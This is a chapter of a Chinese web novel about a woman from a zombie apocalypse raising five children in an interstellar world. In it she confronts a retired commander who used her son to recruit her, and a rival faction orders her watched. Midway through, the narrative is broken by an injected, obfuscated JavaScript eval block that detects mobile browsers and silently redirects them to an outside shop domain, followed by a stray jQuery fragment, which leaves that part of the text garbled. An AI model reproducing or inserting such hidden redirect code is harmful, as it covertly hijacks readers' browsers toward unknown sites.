这是联邦最高级别的机密。
“我之前救过他,和孩子找合适的学校时正好遇到了,那个学校挺好的,我和我家书奕商量就去那个学校。”
常见云闭眼,思索了两秒,终于开口:“你为什么不让书奕来联邦总部学院……”
“那是书奕自己的选择。”
就连一直不会说话的书笙都察觉到了常见云话里别有深意,但栗霜痕仿佛真不太清楚:“他不是好人?”
“准确来说,你昨天偷的老鼠,就是他生活的那个星球养的。”
栗霜痕:“……”
谢谢。
还真不清楚。
“那能不能把那个学校查封了……太危险了!”栗霜痕无法接受,“这种事情怎么现在才说,我宝差点就被绑走了好吗?”
常见云微笑,“不能随便查封,而且,那个学校不是以他的名义办的,星盗现在和联邦没有撕破脸,也不好特别针对他。”
“我真的要走了!今天就当我没来上班!对了,把我孩子送学校里,我中午来接。”
回应常见云的是栗霜痕的尖叫和逐渐跑远的背影。
常见云:“……”
她就知道。
一偏头,幼崽也跑出去了。
她只能认命开始追。
她的命好苦。
自从开始和栗霜痕接触之后,她总有一种被盯上的感觉。
原来是被麻烦缠上了。
但也是因为她用精神力引导她对她那么信任的。
她也只能自认倒霉。
搞了半天还没有得到好处,坏处先出来了。
大厅,林月和搓了搓脸颊,勉强让自己看起来精神一点,打算喝杯咖啡继续工作。
手里的咖啡杯刚送到嘴边,一道残影猛地窜到她脚边,身子刚刚擦过她,把她手里的杯子撞得微微一歪,几滴咖啡溅在她手背上。
林月和叹气,还没抬起头,常见云的声音就从远处飘来,“林月和——”
林月和把手背上的咖啡渍甩了甩,目光落在常见云脸上,“怎么她一来……你每次工作都能搞出点动静。”
传送站的白光栗霜痕面前亮起。
她从城西出口走出来,书笙紧跟着从传送站的白光里跨出来,尾巴在身后微微翘着,深紫色的瞳孔里还带着紧张。
栗霜痕推开家门的时候,书奕站在玄关附近,穿着一件洗得干净的外套,正弯腰把鞋带重新系紧。
他听到开门声抬起头来,“雌母?你不是刚走——”
栗霜痕几步走到他面前,语速飞快:“雌母和你一起去看看那个学校。你还没出发正好。”
书奕被她攥着手腕带出家门的时候没有挣脱。
一是因为他不太想,二是因为雌母力气好大。
“一会儿你们两个和老师一起去学校看看有什么好玩的,雌母有点事情……”栗霜痕微笑着嘱托。
书奕给书笙使眼色:雌母怎么了?
书笙摇了摇头,抿唇没说话。
校园里的小径两侧种着细叶的矮灌木,可以看出主人照料植被的能力很不错。
在星际大片种植植被,本身便说明此人的精神力极强。
这里的植被和栗霜痕那个世界不同,植被的养护需要精神力的滋补。
而凌溯站在小径尽头的廊檐下,正在低头看光脑上的什么东西。
他听到推门的声响抬起头,眉梢微微动了一下,瞳孔边缘那圈暗金色的细纹微微转了一下。
“你接近我到底有什么目的?你的真实身份是什么?”
凌溯把光脑收起,微微偏了一下头:“我记得我之前介绍过我自己。”
栗霜痕说,“你到底想干什么?为什么跟踪我。”
凌溯的睫毛垂了一瞬,突然轻笑:“我之前说过,退役指挥官,凌溯。我来这个学校挂名是因为校长确实是我以前的下属,我需要一个能在城西合法驻留的身份。至于接近你——”他停了一下,“我遇到你完全是意外,我在城外受伤,没想到你会出现在那里。”
栗霜痕没有接话,神色暗淡,让人看不清她在想什么。
“至于目的——我需要一个不受精神力影响的搭档。星盗那边有一种装置,能屏蔽掉大部分精神力波动的信号,普通人靠近会引发精神混乱,但对你没有效果。我之前试过几次,每次都在靠近核心区域之前因为波动过强而被迫退出。你是我见过唯一一个可以穿过去的人。”
栗霜痕:“你倒是诚实。”
凌溯停了一下,点头,“所以鼠形异化兽可以提取萃取剂的消息是我放出的,因为我知道联邦一定会派出你。”
现在就连栗霜痕这个对联邦事务丝毫不感兴趣的人都知道了,联邦现在已经成为一个筛子了。
各方的势力已经渗透到了联邦内部。
联邦腹背受敌,却偏偏必须得假装是彼此的盟友。
“我不太懂。”
栗霜痕轻声开口。
我不太懂为什么要让孩子夹在中间……
我不太懂明明一切都是我干的却要控制我……
我不太懂孩子在你们眼里是可以轻视的筹码……
我也不太懂我的好心怎么都变成了笑话……
是末世的教育教错了她吗?
栗霜痕不太明白。
这一切……都是她在末世里学到的不一样。
她只是觉得孩子很可爱,她只是觉得她应该好好照顾孩子。
可这一切都太难了。
她得学会适应新的称呼,她得学会照顾孩子,她得学会慢慢探查孩子的情绪,她得慢慢思考其他人话里的含义,她得想着这里所有的势力。
好难啊。
比杀丧尸难多了。
比带领队伍难多了。
她是真的不太了解孩子啊。
她竟然没有想到,联邦那么重视她,那其他三方势力绝对不会让她好过。
就像这里的人也不会想到,她在那个世界不需要认识植物和动物,也不需要用光脑互相联系,所有人都在同一片小小土地,互相依偎,没有争吵,只有无穷无尽的死寂。
她每天学习的,只有怎么最快杀丧尸,怎么快速撤离,怎么在远处假装丧尸躲过丧尸的就近搜查。
有好多能力随着时间,随着末世丧尸在那个世界的长时间肆虐,消散了。
她应该多和基地的那个老人学一学的,如果是那个老人穿越过来,她懂的肯定很多,不会把情况变成这样。
“我不太懂为什么一切都和我想的不一样。”
末世已经降临太久了。
久到人们早就忘记了之前生活的方式。
久到所有可以证明过去的人和事物都消失了。
久到之前的人类要是踮起脚尖看一眼,以为自己熬穿了。
末世什么都没有。
没有善恶之分。
只有丧尸和人类。
当生存问题摆在眼前时,似乎其他的一切都显得无足轻重,并且会自动简化为只需学习生存这一项技能。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745251|209264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这一切都和她生活的不一样。
她在努力学了。
她真的在努力学了。
她没有偷懒啊。
她只是……没来得及学那么多……
“我不太懂为什么你可以冠冕堂皇地说出这些话,”栗霜痕的声音几乎沙哑,“你想要和我合作,可以直接和我说,我不会拒绝你的。”
你明知道,如果你说可以让我的孩子过得更好,我会答应你的。
我一定会答应你的。
孩子,我应该把你们带回我那个世界的。
但是,你们大概会害怕吧。
“栗霜痕,你确实不懂,”凌溯安静地看着她,“你不懂你的选择会带来什么后果,你也不懂你既然选择了战队其中一方,其他方的目的就只有让她们厌弃你,你像一个刚出生的幼崽,你不懂这个世界的隐形规则,我有时候在想,你是不是特意为战争而生的机器……”
什么都不懂,过分天真,偏偏是各方势力都期望的完美人才,完美体质。
不受精神力影响,战斗力超强,有绝佳的完美的不会保护自己的软肋。
除了栗霜痕,没人会心疼的软肋。
为战争而生的完美机器诞生了。
就算没有精神力又怎么样……
“是我的问题,我会保护好他们。”栗霜痕头也不回地转身。
“栗霜痕——”
下一秒,胸口传来闷痛。
他眯眼,原来是栗霜痕一拳砸在了他胸口上。
凌溯被她砸得往后退了半步,后背碰上了廊檐下的立柱,一声闷响。
银蓝色的瞳孔微微缩了一下,他没有躲。
“我说的事情希望你可以再考虑一下,我确实不对,利用了书奕,但是我真的没有想威胁你……”
栗霜痕呼吸快了一点,但没有说话,转身离开。
“我回房间休息一下。”
今天栗霜痕回到家只丢下这么一句话,回了房间。
书奕灰白色的瞳孔闪了闪,没有出声。
书墨则抱着膝盖坐在沙发角落,垂着脑袋,不知道在想什么。
真是差劲啊,竟然因为这种事情躲在房间。
她打开光脑,搜索地图,开始一张张地看星球布局。
看着看着,眼睛有些发酸,她抬起手,捂住自己的脸。
眼睛好疼。
好痒。
眨了眨眼睛,眼泪从指缝掉落,砸在了她大腿上。
早知道穿越第一天就不那么高兴了。
眼里只看得到孩子,根本没发现这个世界的危险。
都是她的疏忽。
她压根不在意有没有人跟踪她,也不在意自己是不是卷进了什么争斗。
但孩子们肯定在意。
因为她有自保的能力,孩子们没有。
真是自负啊。
“真是自负啊!觉得自己什么都能搞定,去星盗据点偷东西也好,去跟退役的指挥官对峙也好——她没想过,要是那些人真的一起动手,她确实可以全身而退,但她的幼崽不可能。”
窗外的风从拱形窗的缝隙里钻进来,把那人发尾那一层淡粉色轻轻掀起又放下。
“不过……自负的人通常栽得快。不过——栽得快的人,爬起来也快。盯紧她。”
“是。”
玄冥侧过头,像忽然想起了什么一样补了一句:“她家里几个幼崽?”
“五个。”
“五个。”他重复了一遍这个数字,意味深长。